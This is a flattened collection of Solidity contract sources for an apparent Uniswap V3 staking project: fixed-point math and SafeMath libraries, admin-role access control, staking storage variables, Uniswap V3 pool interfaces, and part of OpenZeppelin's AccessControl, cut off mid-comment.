https://github.com/dapphub/ds-math/blob/de45767/src/math.sol /// math.sol -- mixin for inline numerical wizardry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity >0.4.13; contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } function wmul2(uint256 x, uint256 y) internal pure returns (uint256 z) { z = mul(x, y) / WAD; } function rmul2(uint256 x, uint256 y) internal pure returns (uint256 z) { z = mul(x, y) / RAY; } function wdiv2(uint256 x, uint256 y) internal pure returns (uint256 z) { z = mul(x, WAD) / y; } function rdiv2(uint256 x, uint256 y) internal pure returns (uint256 z) { z = mul(x, RAY) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function wpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : WAD; for (n /= 2; n != 0; n /= 2) { x = wmul(x, x); if (n % 2 != 0) { z = wmul(z, x); } } } function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./AccessRoleCommon.sol"; contract AccessibleCommon is AccessRoleCommon, AccessControl { modifier onlyOwner() { require(isAdmin(msg.sender), "Accessible: Caller is not an admin"); _; } /// @dev add admin /// @param account address to add function addAdmin(address account) public virtual onlyOwner { grantRole(ADMIN_ROLE, account); } /// @dev remove admin /// @param account address to remove function removeAdmin(address account) public virtual onlyOwner { renounceRole(ADMIN_ROLE, account); } /// @dev transfer admin /// @param newAdmin new admin address function transferAdmin(address newAdmin) external virtual onlyOwner { require(newAdmin != address(0), "Accessible: zero address"); require(msg.sender != newAdmin, "Accessible: same admin"); grantRole(ADMIN_ROLE, newAdmin); renounceRole(ADMIN_ROLE, msg.sender); } /// @dev whether admin /// @param account address to check function isAdmin(address account) public view virtual returns (bool) { return hasRole(ADMIN_ROLE, account); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.7.6; import "../libraries/LibUniswapV3Stake.sol"; import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol"; /// @title The base storage of stakeContract contract StakeUniswapV3Storage { /// @dev reward token : TOS address public token; /// @dev registry address public stakeRegistry; /// @dev A vault that holds tos rewards. address public vault; /// @dev the total minied amount uint256 public miningAmountTotal; /// @dev Rewards have been allocated, /// but liquidity is lost, and burned amount . uint256 public nonMiningAmountTotal; /// @dev the total staked amount uint256 public totalStakedAmount; /// @dev user's tokenIds mapping(address => uint256[]) public userStakedTokenIds; /// @dev Deposited token ID information mapping(uint256 => LibUniswapV3Stake.StakeLiquidity) public depositTokens; /// @dev Amount that Token ID put into Coinage mapping(uint256 => LibUniswapV3Stake.StakedTokenAmount) public stakedCoinageTokens; /// @dev Total staked information of users mapping(address => LibUniswapV3Stake.StakedTotalTokenAmount) public userTotalStaked; /// @dev total stakers uint256 public totalStakers; /// @dev lock uint256 internal _lock; /// @dev flag for pause proxy bool public pauseProxy; /// @dev stakeStartTime is set when staking for the first time uint256 public stakeStartTime; /// @dev saleStartTime uint256 public saleStartTime; /// @dev Mining interval can be given to save gas cost. uint256 public miningIntervalSeconds; /// @dev pools's token address public poolToken0; address public poolToken1; address public poolAddress; uint256 public poolFee; /// @dev Rewards per second liquidity inside (3년간 8000000 TOS) /// uint256 internal MINING_PER_SECOND = 84559445290038900; /// @dev UniswapV3 Nonfungible position manager INonfungiblePositionManager public nonfungiblePositionManager; /// @dev UniswapV3 pool factory address public uniswapV3FactoryAddress; /// @dev coinage for reward 리워드 계산을 위한 코인에이지 address public coinage; /// @dev recently mined time (in seconds) uint256 public coinageLastMintBlockTimetamp; /// @dev total tokenIds uint256 public totalTokens; ///@dev for migrate L2 bool public migratedL2; modifier nonZeroAddress(address _addr) { require(_addr != address(0), "StakeUniswapV3Storage: zero address"); _; } modifier lock() { require(_lock == 0, "StakeUniswapV3Storage: LOCKED"); _lock = 1; _; _lock = 0; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; /** * @title SafeMath32 * @dev SafeMath library implemented for uint32 */ library SafeMath32 { function mul(uint32 a, uint32 b) internal pure returns (uint32) { if (a == 0) { return 0; } uint32 c = a * b; assert(c / a == b); return c; } function div(uint32 a, uint32 b) internal pure returns (uint32) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint32 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint32 a, uint32 b) internal pure returns (uint32) { assert(b <= a); return a - b; } function add(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; assert(c >= a); return c; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks 